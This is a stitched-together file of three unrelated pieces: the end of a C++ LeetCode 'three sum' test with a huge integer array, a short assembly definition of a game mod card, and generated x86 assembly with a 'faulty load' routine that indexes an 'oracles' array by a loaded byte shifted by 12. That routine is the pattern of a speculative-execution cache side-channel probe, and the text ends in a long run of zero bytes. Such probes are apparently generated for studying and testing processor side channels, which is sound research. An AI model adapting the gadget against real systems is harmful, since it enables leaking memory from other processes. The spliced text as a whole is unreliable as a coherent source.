80060, 98994, 39331, -31274, -61523, 91225, -72953, 13211, -75116, -98421, -41571, -69074, 99587, 39345, 42151, -2460, 98236, 15690, -52507, -95803, -48935, -46492, -45606, -79254, -99851, 52533, 73486, 39948, -7240, 71815, -585, -96252, 90990, -93815, 93340, -71848, 58733, -14859, -83082, -75794, -82082, -24871, -15206, 91207, -56469, -93618, 67131, -8682, 75719, 87429, -98757, -7535, -24890, -94160, 85003, 33928, 75538, 97456, -66424, -60074, -8527, -28697, -22308, 2246, -70134, -82319, -10184, 87081, -34949, -28645, -47352, -83966, -60418, -15293, -53067, -25921, 55172, 75064, 95859, 48049, 34311, -86931, -38586, 33686, -36714, 96922, 76713, -22165, -80585, -34503, -44516, 39217, -28457, 47227, -94036, 43457, 24626, -87359, 26898, -70819, 30528, -32397, -69486, 84912, -1187, -98986, -32958, 4280, -79129, -65604, 9344, 58964, 50584, 71128, -55480, 24986, 15086, -62360, -42977, -49482, -77256, -36895, -74818, 20, 3063, -49426, 28152, -97329, 6086, 86035, -88743, 35241, 44249, 19927, -10660, 89404, 24179, -26621, -6511, 57745, -28750, 96340, -97160, -97822, -49979, 52307, 79462, 94273, -24808, 77104, 9255, -83057, 77655, 21361, 55956, -9096, 48599, -40490, -55107, 2689, 29608, 20497, 66834, -34678, 23553, -81400, -66630, -96321, -34499, -12957, -20564, 25610, -4322, -58462, 20801, 53700, 71527, 24669, -54534, 57879, -3221, 33636, 3900, 97832, -27688, -98715, 5992, 24520, -55401, -57613, -69926, 57377, -77610, 20123, 52174, 860, 60429, -91994, -62403, -6218, -90610, -37263, -15052, 62069, -96465, 44254, 89892, -3406, 19121, -41842, -87783, -64125, -56120, 73904, -22797, -58118, -4866, 5356, 75318, 46119, 21276, -19246, -9241, -97425, 57333, -15802, 93149, 25689, -5532, 95716, 39209, -87672, -29470, -16324, -15331, 27632, -39454, 56530, -16000, 29853, 46475, 78242, -46602, 83192, -73440, -15816, 50964, -36601, 89758, 38375, -40007, -36675, -94030, 67576, 46811, -64919, 45595, 76530, 40398, 35845, 41791, 67697, -30439, -82944, 63115, 33447, -36046, -50122, -34789, 43003, -78947, -38763, -89210, 32756, -20389, -31358, -90526, -81607, 88741, 86643, 98422, 47389, -75189, 13091, 95993, -15501, 94260, -25584, -1483, -67261, -70753, 25160, 89614, -90620, -48542, 83889, -12388, -9642, -37043, -67663, 28794, -8801, 13621, 12241, 55379, 84290, 21692, -95906, -85617, -17341, -63767, 80183, -4942, -51478, 30997, -13658, 8838, 17452, -82869, -39897, 68449, 31964, 98158, -49489, 62283, -62209, -92792, -59342, 55146, -38533, 20496, 62667, 62593, 36095, -12470, 5453, -50451, 74716, -17902, 3302, -16760, -71642, -34819, 96459, -72860, 21638, 47342, -69897, -40180, 44466, 76496, 84659, 13848, -91600, -90887, -63742, -2156, -84981, -99280, 94326, -33854, 92029, -50811, 98711, -36459, -75555, 79110, -88164, -97397, -84217, 97457, 64387, 30513, -53190, -83215, 252, 2344, -27177, -92945, -89010, 82662, -11670, 86069, 53417, 42702, 97082, 3695, -14530, -46334, 17910, 77999, 28009, -12374, 15498, -46941, 97088, -35030, 95040, 92095, -59469, -24761, 46491, 67357, -66658, 37446, -65130, -50416, 99197, 30925, 27308, 54122, -44719, 12582, -99525, -38446, -69050, -22352, 94757, -56062, 33684, -40199, -46399, 96842, -50881, -22380, -65021, 40582, 53623, -76034, 77018, -97074, -84838, -22953, -74205, 79715, -33920, -35794, -91369, 73421, -82492, 63680, -14915, -33295, 37145, 76852, -69442, 60125, -74166, 74308, -1900, -30195, -16267, -60781, -27760, 5852, 38917, 25742, -3765, 49097, -63541, 98612, -92865, -30248, 9612, -8798, 53262, 95781, -42278, -36529, 7252, -27394, -5021, 59178, 80934, -48480, -75131, -54439, -19145, -48140, 98457, -6601, -51616, -89730, 78028, 32083, -48904, 16822, -81153, -8832, 48720, -80728, -45133, -86647, -4259, -40453, 2590, 28613, 50523, -4105, -27790, -74579, -17223, 63721, 33489, -47921, 97628, -97691, -14782, -65644, 18008, -93651, -71266, 80990, -76732, -47104, 35368, 28632, 59818, -86269, -89753, 34557, -92230, -5933, -3487, -73557, -13174, -43981, -43630, -55171, 30254, -83710, -99583, -13500, 71787, 5017, -25117, -78586, 86941, -3251, -23867, -36315, 75973, 86272, -45575, 77462, -98836, -10859, 70168, -32971, -38739, -12761, 93410, 14014, -30706, -77356, -85965, -62316, 63918, -59914, -64088, 1591, -10957, 38004, 15129, -83602, -51791, 34381, -89382, -26056, 8942, 5465, 71458, -73805, -87445, -19921, -80784, 69150, -34168, 28301, -68955, 18041, 6059, 82342, 9947, 39795, 44047, -57313, 48569, 81936, -2863, -80932, 32976, -86454, -84207, 33033, 32867, 9104, -16580, -25727, 80157, -70169, 53741, 86522, 84651, 68480, 84018, 61932, 7332, -61322, -69663, 76370, 41206, 12326, -34689, 17016, 82975, -23386, 39417, 72793, 44774, -96259, 3213, 79952, 29265, -61492, -49337, 14162, 65886, 3342, -41622, -62659, -90402, -24751, 88511, 54739, -21383, -40161, -96610, -24944, -602, -76842, -21856, 69964, 43994, -15121, -85530, 12718, 13170, -13547, 69222, 62417, -75305, -81446, -38786, -52075, -23110, 97681, -82800, -53178, 11474, 35857, 94197, -58148, -23689, 32506, 92154, -64536, -73930, -77138, 97446, -83459, 70963, 22452, 68472, -3728, -25059, -49405, 95129, -6167, 12808, 99918, 30113, -12641, -26665, 86362, -33505, 50661, 26714, 33701, 89012, -91540, 40517, -12716, -57185, -87230, 29914, -59560, 13200, -72723, 58272, 23913, -45586, -96593, -26265, -2141, 31087, 81399, 92511, -34049, 20577, 2803, 26003, 8940, 42117, 40887, -82715, 38269, 40969, -50022, 72088, 21291, -67280, -16523, 90535, 18669, 94342, -39568, -88080, -99486, -20716, 23108, -28037, 63342, 36863, -29420, -44016, 75135, 73415, 16059, -4899, 86893, 43136, -7041, 33483, -67612, 25327, 40830, 6184, 61805, 4247, 81119, -22854, -26104, -63466, 63093, -63685, 60369, 51023, 51644, -16350, 74438, -83514, 99083, 10079, -58451, -79621, 48471, 67131, -86940, 99093, 11855, -22272, -67683, -44371, 9541, 18123, 37766, -70922, 80385, -57513, -76021, -47890, 36154, 72935, 84387, -92681, -88303, -7810, 59902, -90, -64704, -28396, -66403, 8860, 13343, 33882, 85680, 7228, 28160, -14003, 54369, -58893, 92606, -63492, -10101, 64714, 58486, 29948, -44679, -22763, 10151, -56695, 4031, -18242, -36232, 86168, -14263, 9883, 47124, 47271, 92761, -24958, -73263, -79661, -69147, -18874, 29546, -92588, -85771, 26451, -86650, -43306, -59094, -47492, -34821, -91763, -47670, 33537, 22843, 67417, -759, 92159, 63075, 94065, -26988, 55276, 65903, 30414, -67129, -99508, -83092, -91493, -50426, 14349, -83216, -76090, 32742, -5306, -93310, -60750, -60620, -45484, -21108, -58341, -28048, -52803, 69735, 78906, 81649, 32565, -86804, -83202, -65688, -1760, 89707, 93322, -72750, 84134, 71900, -37720, 19450, -78018, 22001, -23604, 26276, -21498, 65892, -72117, -89834, -23867, 55817, -77963, 42518, 93123, -83916, 63260, -2243, -97108, 85442, -36775, 17984, -58810, 99664, -19082, 93075, -69329, 87061, 79713, 16296, 70996, 13483, -74582, 49900, -27669, -40562, 1209, -20572, 34660, 83193, 75579, 7344, 64925, 88361, 60969, 3114, 44611, -27445, 53049, -16085, -92851, -53306, 13859, -33532, 86622, -75666, -18159, -98256, 51875, -42251, -27977, -18080, 23772, 38160, 41779, 9147, 94175, 99905, -85755, 62535, -88412, -52038, -68171, 93255, -44684, -11242, -104, 31796, 62346, -54931, -55790, -70032, 46221, 56541, -91947, 90592, 93503, 4071, 20646, 4856, -63598, 15396, -50708, 32138, -85164, 38528, -89959, 53852, 57915, -42421, -88916, -75072, 67030, -29066, 49542, -71591, 61708, -53985, -43051, 28483, 46991, -83216, 80991, -46254, -48716, 39356, -8270, -47763, -34410, 874, -1186, -7049, 28846, 11276, 21960, -13304, -11433, -4913, 55754, 79616, 70423, -27523, 64803, 49277, 14906, -97401, -92390, 91075, 70736, 21971, -3303, 55333, -93996, 76538, 54603, -75899, 98801, 46887, 35041, 48302, -52318, 55439, 24574, 14079, -24889, 83440, 14961, 34312, -89260, -22293, -81271, -2586, -71059, -10640, -93095, -5453, -70041, 66543, 74012, -11662, -52477, -37597, -70919, 92971, -17452, -67306, -80418, 7225, -89296, 24296, 86547, 37154, -10696, 74436, -63959, 58860, 33590, -88925, -97814, -83664, 85484, -8385, -50879, 57729, -74728, -87852, -15524, -91120, 22062, 28134, 80917, 32026, 49707, -54252, -44319, -35139, 13777, 44660, 85274, 25043, 58781, -89035, -76274, 6364, -63625, 72855, 43242, -35033, 12820, -27460, 77372, -47578, -61162, -70758, -1343, -4159, 64935, 56024, -2151, 43770, 19758, -30186, -86040, 24666, -62332, -67542, 73180, -25821, -27826, -45504, -36858, -12041, 20017, -24066, -56625, -52097, -47239, -90694, 8959, 7712, -14258, -5860, 55349, 61808, -4423, -93703, 64681, -98641, -25222, 46999, -83831, -54714, 19997, -68477, 66073, 51801, -66491, 52061, -52866, 79907, -39736, -68331, 68937, 91464, 98892, 910, 93501, 31295, -85873, 27036, -57340, 50412, 21, -2445, 29471, 71317, 82093, -94823, -54458, -97410, 39560, -7628, 66452, 39701, 54029, 37906, 46773, 58296, 60370, -61090, 85501, -86874, 71443, -72702, -72047, 14848, 34102, 77975, -66294, -36576, 31349, 52493, -70833, -80287, 94435, 39745, -98291, 84524, -18942, 10236, 93448, 50846, 94023, -6939, 47999, 14740, 30165, 81048, 84935, -19177, -13594, 32289, 62628, -90612, -542, -66627, 64255, 71199, -83841, -82943, -73885, 8623, -67214, -9474, -35249, 62254, -14087, -90969, 21515, -83303, 94377, -91619, 19956, -98810, 96727, -91939, 29119, -85473, -82153, -69008, 44850, 74299, -76459, -86464, 8315, -49912, -28665, 59052, -69708, 76024, -92738, 50098, 18683, -91438, 18096, -19335, 35659, 91826, 15779, -73070, 67873, -12458, -71440, -46721, 54856, 97212, -81875, 35805, 36952, 68498, 81627, -34231, 81712, 27100, -9741, -82612, 18766, -36392, 2759, 41728, 69743, 26825, 48355, -17790, 17165, 56558, 3295, -24375, 55669, -16109, 24079, 73414, 48990, -11931, -78214, 90745, 19878, 35673, -15317, -89086, 94675, -92513, 88410, -93248, -19475, -74041, -19165, 32329, -26266, -46828, -18747, 45328, 8990, -78219, -25874, -74801, -44956, -54577, -29756, -99822, -35731, -18348, -68915, -83518, -53451, 95471, -2954, -13706, -8763, -21642, -37210, 16814, -60070, -42743, 27697, -36333, -42362, 11576, 85742, -82536, 68767, -56103, -63012, 71396, -78464, -68101, -15917, -11113, -3596, 77626, -60191, -30585, -73584, 6214, -84303, 18403, 23618, -15619, -89755, -59515, -59103, -74308, -63725, -29364, -52376, -96130, 70894, -12609, 50845, -2314, 42264, -70825, 64481, 55752, 4460, -68603, -88701, 4713, -50441, -51333, -77907, 97412, -66616, -49430, 60489, -85262, -97621, -18980, 44727, -69321, -57730, 66287, -92566, -64427, -14270, 11515, -92612, -87645, 61557, 24197, -81923, -39831, -10301, -23640, -76219, -68025, 92761, -76493, 68554, -77734, -95620, -11753, -51700, 98234, -68544, -61838, 29467, 46603, -18221, -35441, 74537, 40327, -58293, 75755, -57301, -7532, -94163, 18179, -14388, -22258, -46417, -48285, 18242, -77551, 82620, 250, -20060, -79568, -77259, 82052, -98897, -75464, 48773, -79040, -11293, 45941, -67876, -69204, -46477, -46107, 792, 60546, -34573, -12879, -94562, 20356, -48004, -62429, 96242, 40594, 2099, 99494, 25724, -39394, -2388, -18563, -56510, -83570, -29214, 3015, 74454, 74197, 76678, -46597, 60630, -76093, 37578, -82045, -24077, 62082, -87787, -74936, 58687, 12200, -98952, 70155, -77370, 21710, -84625, -60556, -84128, 925, 65474, -15741, -94619, 88377, 89334, 44749, 22002, -45750, -93081, -14600, -83447, 46691, 85040, -66447, -80085, 56308, 44310, 24979, -29694, 57991, 4675, -71273, -44508, 13615, -54710, 23552, -78253, -34637, 50497, 68706, 81543, -88408, -21405, 6001, -33834, -21570, -46692, -25344, 20310, 71258, -97680, 11721, 59977, 59247, -48949, 98955, -50276, -80844, -27935, -76102, 55858, -33492, 40680, 66691, -33188, 8284, 64893, -7528, 6019, -85523, 8434, -64366, -56663, 26862, 30008, -7611, -12179, -70076, 21426, -11261, -36864, -61937, -59677, 929, -21052, 3848, -20888, -16065, 98995, -32293, -86121, -54564, 77831, 68602, 74977, 31658, 40699, 29755, 98424, 80358, -69337, 26339, 13213, -46016, -18331, 64713, -46883, -58451, -70024, -92393, -4088, 70628, -51185, 71164, -75791, -1636, -29102, -16929, -87650, -84589, -24229, -42137, -15653, 94825, 13042, 88499, -47100, -90358, -7180, 29754, -65727, -42659, -85560, -9037, -52459, 20997, -47425, 17318, 21122, 20472, -23037, 65216, -63625, -7877, -91907, 24100, -72516, 22903, -85247, -8938, 73878, 54953, 87480, -31466, -99524, 35369, -78376, 89984, -15982, 94045, -7269, 23319, -80456, -37653, -76756, 2909, 81936, 54958, -12393, 60560, -84664, -82413, 66941, -26573, -97532, 64460, 18593, -85789, -38820, -92575, -43663, -89435, 83272, -50585, 13616, -71541, -53156, 727, -27644, 16538, 34049, 57745, 34348, 35009, 16634, -18791, 23271, -63844, 95817, 21781, 16590, 59669, 15966, -6864, 48050, -36143, 97427, -59390, 96931, 78939, -1958, 50777, 43338, -51149, 39235, -27054, -43492, 67457, -83616, 37179, 10390, 85818, 2391, 73635, 87579, -49127, -81264, -79023, -81590, 53554, -74972, -83940, -13726, -39095, 29174, 78072, 76104, 47778, 25797, -29515, -6493, -92793, 22481, -36197, -65560, 42342, 15750, 97556, 99634, -56048, -35688, 13501, 63969, -74291, 50911, 39225, 93702, -3490, -59461, -30105, -46761, -80113, 92906, -68487, 50742, 36152, -90240, -83631, 24597, -50566, -15477, 18470, 77038, 40223, -80364, -98676, 70957, -63647, 99537, 13041, 31679, 86631, 37633, -16866, 13686, -71565, 21652, -46053, -80578, -61382, 68487, -6417, 4656, 20811, 67013, -30868, -11219, 46, 74944, 14627, 56965, 42275, -52480, 52162, -84883, -52579, -90331, 92792, 42184, -73422, -58440, 65308, -25069, 5475, -57996, 59557, -17561, 2826, -56939, 14996, -94855, -53707, 99159, 43645, -67719, -1331, 21412, 41704, 31612, 32622, 1919, -69333, -69828, 22422, -78842, 57896, -17363, 27979, -76897, 35008, 46482, -75289, 65799, 20057, 7170, 41326, -76069, 90840, -81253, -50749, 3649, -42315, 45238, -33924, 62101, 96906, 58884, -7617, -28689, -66578, 62458, 50876, -57553, 6739, 41014, -64040, -34916, 37940, 13048, -97478, -11318, -89440, -31933, -40357, -59737, -76718, -14104, -31774, 28001, 4103, 41702, -25120, -31654, 63085, -3642, 84870, -83896, -76422, -61520, 12900, 88678, 85547, 33132, -88627, 52820, 63915, -27472, 78867, -51439, 33005, -23447, -3271, -39308, 39726, -74260, -31874, -36893, 93656, 910, -98362, 60450, -88048, 99308, 13947, 83996, -90415, -35117, 70858, -55332, -31721, 97528, 82982, -86218, 6822, 25227, 36946, 97077, -4257, -41526, 56795, 89870, 75860, -70802, 21779, 14184, -16511, -89156, -31422, 71470, 69600, -78498, 74079, -19410, 40311, 28501, 26397, -67574, -32518, 68510, 38615, 19355, -6088, -97159, -29255, -92523, 3023, -42536, -88681, 64255, 41206, 44119, 52208, 39522, -52108, 91276, -70514, 83436, 63289, -79741, 9623, 99559, 12642, 85950, 83735, -21156, -67208, 98088, -7341, -27763, -30048, -44099, -14866, -45504, -91704, 19369, 13700, 10481, -49344, -85686, 33994, 19672, 36028, 60842, 66564, -24919, 33950, -93616, -47430, -35391, -28279, 56806, 74690, 39284, -96683, -7642, -75232, 37657, -14531, -86870, -9274, -26173, 98640, 88652, 64257, 46457, 37814, -19370, 9337, -22556, -41525, 39105, -28719, 51611, -93252, 98044, -90996, 21710, -47605, -64259, -32727, 53611, -31918, -3555, 33316, -66472, 21274, -37731, -2919, 15016, 48779, -88868, 1897, 41728, 46344, -89667, 37848, 68092, -44011, 85354, -43776, 38739, -31423, -66330, 65167, -22016, 59405, 34328, -60042, 87660, -67698, -59174, -1408, -46809, -43485, -88807, -60489, 13974, 22319, 55836, -62995, -37375, -4185, 32687, -36551, -75237, 58280, 26942, -73756, 71756, 78775, -40573, 14367, -71622, -77338, 24112, 23414, -7679, -51721, 87492, 85066, -21612, 57045, 10673, -96836, 52461, -62218, -9310, 65862, -22748, 89906, -96987, -98698, 26956, -43428, 46141, 47456, 28095, 55952, 67323, -36455, -60202, -43302, -82932, 42020, 77036, 10142, 60406, 70331, 63836, 58850, -66752, 52109, 21395, -10238, -98647, -41962, 27778, 69060, 98535, -28680, -52263, -56679, 66103, -42426, 27203, 80021, 10153, 58678, 36398, 63112, 34911, 20515, 62082, -15659, -40785, 27054, 43767, -20289, 65838, -6954, -60228, -72226, 52236, -35464, 25209, -15462, -79617, -41668, -84083, 62404, -69062, 18913, 46545, 20757, 13805, 24717, -18461, -47009, -25779, 68834, 64824, 34473, 39576, 31570, 14861, -15114, -41233, 95509, 68232, 67846, 84902, -83060, 17642, -18422, 73688, 77671, -26930, 64484, -99637, 73875, 6428, 21034, -73471, 19664, -68031, 15922, -27028, 48137, 54955, -82793, -41144, -10218, -24921, -28299, -2288, 68518, -54452, 15686, -41814, 66165, -72207, -61986, 80020, 50544, -99500, 16244, 78998, 40989, 14525, -56061, -24692, -94790, 21111, 37296, -90794, 72100, 70550, -31757, 17708, -74290, 61910, 78039, -78629, -25033, 73172, -91953, 10052, 64502, 99585, -1741, 90324, -73723, 68942, 28149, 30218, 24422, 16659, 10710, -62594, 94249, 96588, 46192, 34251, 73500, -65995, -81168, 41412, -98724, -63710, -54696, -52407, 19746, 45869, 27821, -94866, -76705, -13417, -61995, -71560, 43450, 67384, -8838, -80293, -28937, 23330, -89694, -40586, 46918, 80429, -5475, 78013, 25309, -34162, 37236, -77577, 86744, 26281, -29033, -91813, 35347, 13033, -13631, -24459, 3325, -71078, -75359, 81311, 19700, 47678, -74680, -84113, 45192, 35502, 37675, 19553, 76522, -51098, -18211, 89717, 4508, -82946, 27749, 85995, 89912, -53678, -64727, -14778, 32075, -63412, -40524, 86440, -2707, -36821, 63850, -30883, 67294, -99468, -23708, 34932, 34386, 98899, 29239, -23385, 5897, 54882, 98660, 49098, 70275, 17718, 88533, 52161, 63340, 50061, -89457, 19491, -99156, 24873, -17008, 64610, -55543, 50495, 17056, -10400, -56678, -29073, -42960, -76418, 98562, -88104, -96255, 10159, -90724, 54011, 12052, 45871, -90933, -69420, 67039, 37202, 78051, -52197, -40278, -58425, 65414, -23394, -1415, 6912, -53447, 7352, 17307, -78147, 63727, 98905, 55412, -57658, -32884, -44878, 22755, 39730, 3638, 35111, 39777, 74193, 38736, -11829, -61188, -92757, 55946, -71232, -63032, -83947, 39147, -96684, -99233, 25131, -32197, 24406, -55428, -61941, 25874, -69453, 64483, -19644, -68441, 12783, 87338, -48676, 66451, -447, -61590, 50932, -11270, 29035, 65698, -63544, 10029, 80499, -9461, 86368, 91365, -81810, -71914, -52056, -13782, 44240, -30093, -2437, 24007, 67581, -17365, -69164, -8420, -69289, -29370, 48010, 90439, 13141, 69243, 50668, 39328, 61731, 78266, -81313, 17921, -38196, 55261, 9948, -24970, 75712, -72106, 28696, 7461, 31621, 61047, 51476, 56512, 11839, -96916, -82739, 28924, -99927, 58449, 37280, 69357, 11219, -32119, -62050, -48745, -83486, -52376, 42668, 82659, 68882, 38773, 46269, -96005, 97630, 25009, -2951, -67811, 99801, 81587, -79793, -18547, -83086, 69512, 33127, -92145, -88497, 47703, 59527, 1909, 88785, -88882, 69188, -46131, -5589, -15086, 36255, -53238, -33009, 82664, 53901, 35939, -42946, -25571, 33298, 69291, 53199, 74746, -40127, -39050, 91033, 51717, -98048, 87240, 36172, 65453, -94425, -63694, -30027, 59004, 88660, 3649, -20267, -52565, -67321, 34037, 4320, 91515, -56753, 60115, 27134, 68617, -61395, -26503, -98929, -8849, -63318, 10709, -16151, 61905, -95785, 5262, 23670, -25277, 90206, -19391, 45735, 37208, -31992, -92450, 18516, -90452, -58870, -58602, 93383, 14333, 17994, 82411, -54126, -32576, 35440, -60526, -78764, -25069, -9022, -394, 92186, -38057, 55328, -61569, 67780, 77169, 19546, -92664, -94948, 44484, -13439, 83529, 27518, -48333, 72998, 38342, -90553, -98578, -76906, 81515, -16464, 78439, 92529, 35225, -39968, -10130, -7845, -32245, -74955, -74996, 67731, -13897, -82493, 33407, 93619, 59560, -24404, -57553, 19486, -45341, 34098, -24978, -33612, 79058, 71847, 76713, -95422, 6421, -96075, -59130, -28976, -16922, -62203, 69970, 68331, 21874, 40551, 89650, 51908, 58181, 66480, -68177, 34323, -3046, -49656, -59758, 43564, -10960, -30796, 15473, -20216, 46085, -85355, 41515, -30669, -87498, 57711, 56067, 63199, -83805, 62042, 91213, -14606, 4394, -562, 74913, 10406, 96810, -61595, 32564, 31640, -9732, 42058, 98052, -7908, -72330, 1558, -80301, 34878, 32900, 3939, -8824, 88316, 20937, 21566, -3218, -66080, -31620, 86859, 54289, 90476, -42889, -15016, -18838, 75456, 30159, -67101, 42328, -92703, 85850, -5475, 23470, -80806, 68206, 17764, 88235, 46421, -41578, 74005, -81142, 80545, 20868, -1560, 64017, 83784, 68863, -97516, -13016, -72223, 79630, -55692, 82255, 88467, 28007, -34686, -69049, -41677, 88535, -8217, 68060, -51280, 28971, 49088, 49235, 26905, -81117, -44888, 40623, 74337, -24662, 97476, 79542, -72082, -35093, 98175, -61761, -68169, 59697, -62542, -72965, 59883, -64026, -37656, -92392, -12113, -73495, 98258, 68379, -21545, 64607, -70957, -92254, -97460, -63436, -8853, -19357, -51965, -76582, 12687, -49712, 45413, -60043, 33496, 31539, -57347, 41837, 67280, -68813, 52088, -13155, -86430, -15239, -45030, 96041, 18749, -23992, 46048, 35243, -79450, 85425, -58524, 88781, -39454, 53073, -48864, -82289, 39086, 82540, -11555, 25014, -5431, -39585, -89526, 2705, 31953, -81611, 36985, -56022, 68684, -27101, 11422, 64655, -26965, -63081, -13840, -91003, -78147, -8966, 41488, 1988, 99021, -61575, -47060, 65260, -23844, -21781, -91865, -19607, 44808, 2890, 63692, -88663, -58272, 15970, -65195, -45416, -48444, -78226, -65332, -24568, 42833, -1806, -71595, 80002, -52250, 30952, 48452, -90106, 31015, -22073, 62339, 63318, 78391, 28699, 77900, -4026, -76870, -45943, 33665, 9174, -84360, -22684, -16832, -67949, -38077, -38987, -32847, 51443, -53580, -13505, 9344, -92337, 26585, 70458, -52764, -67471, -68411, -1119, -2072, -93476, 67981, 40887, -89304, -12235, 41488, 1454, 5355, -34855, -72080, 24514, -58305, 3340, 34331, 8731, 77451, -64983, -57876, 82874, 62481, -32754, -39902, 22451, -79095, -23904, 78409, -7418, 77916}, }; int main() { std::cout << key << ":三数之和" << std::endl; vector<int> nums = testCases[2]; vector<vector<int>> result = Solution().threeSum(nums); vector<vector<int>> expected = { {-1, 0, 1}, {-1, -1, 2}, }; std::cout << (result == expected) << std::endl; std::cout << "[" << std::endl; for (vector<vector<int>>::iterator it = result.begin(); it != result.end(); it++) { std::cout << " [" << std::ends; for (vector<int>::iterator it2 = (*it).begin(); it2 != (*it).end(); it2++) { std::cout << (*it2) << (it2 == (*it).end() - 1 ? "" : ", ") << std::ends; } std::cout << (it == result.end() - 1 ? "]" : "],") << std::endl; } std::cout << "]" << std::endl; return 0; } } // namespace leetcode_0015
.include "defaults_mod.asm" table_file_jp equ "exe4-utf8.tbl" table_file_en equ "bn4-utf8.tbl" game_code_len equ 3 game_code equ 0x4234574A // B4WJ game_code_2 equ 0x42345745 // B4WE game_code_3 equ 0x42345750 // B4WP card_type equ 1 card_id equ 65 card_no equ "065" card_sub equ "Mod Card 065" card_sub_x equ 64 card_desc_len equ 2 card_desc_1 equ "Address 0E" card_desc_2 equ "MAX HP +650" card_desc_3 equ "" card_name_jp_full equ "マックスHP+650" card_name_jp_game equ "マックスHP+650" card_name_en_full equ "MAX HP +650" card_name_en_game equ "MAX HP +650" card_address equ "0E" card_address_id equ 4 card_bug equ 0 card_wrote_en equ "MAX HP +650" card_wrote_jp equ "マックスHP+650"
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x19faf, %rax clflush (%rax) nop nop nop nop add %rbx, %rbx mov (%rax), %edi add $12960, %rcx lea addresses_normal_ht+0xc7fb, %rax nop nop nop nop xor $14159, %r15 vmovups (%rax), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rdx nop nop nop nop nop sub %rdi, %rdi lea addresses_WC_ht+0xba7b, %rcx nop nop nop and $23473, %rsi movups (%rcx), %xmm0 vpextrq $0, %xmm0, %rbx nop nop add $25621, %rsi lea addresses_WT_ht+0x1cb7b, %rsi lea addresses_normal_ht+0x6c7b, %rdi nop sub $61426, %r13 mov $35, %rcx rep movsb nop and $39858, %rsi lea addresses_A_ht+0x188db, %rsi lea addresses_normal_ht+0x6f5b, %rdi nop nop nop nop cmp %rbx, %rbx mov $112, %rcx rep movsb nop nop nop nop dec %rsi lea addresses_WT_ht+0x1347b, %rdx nop nop sub $47213, %rax vmovups (%rdx), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rcx nop and %rsi, %rsi lea addresses_D_ht+0x847b, %rdi nop nop nop nop nop sub %r15, %r15 and $0xffffffffffffffc0, %rdi vmovaps (%rdi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rax add $39507, %rdi lea addresses_WC_ht+0x247b, %rdi nop nop nop nop nop and $53164, %rcx vmovups (%rdi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rbx add %r13, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rbp push %rdx // Faulty Load lea addresses_WT+0xd47b, %rbp lfence mov (%rbp), %r13 lea oracles, %r8 and $0xff, %r13 shlq $12, %r13 mov (%r8,%r13,1), %r13 pop %rdx pop %rbp pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_normal_ht'}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 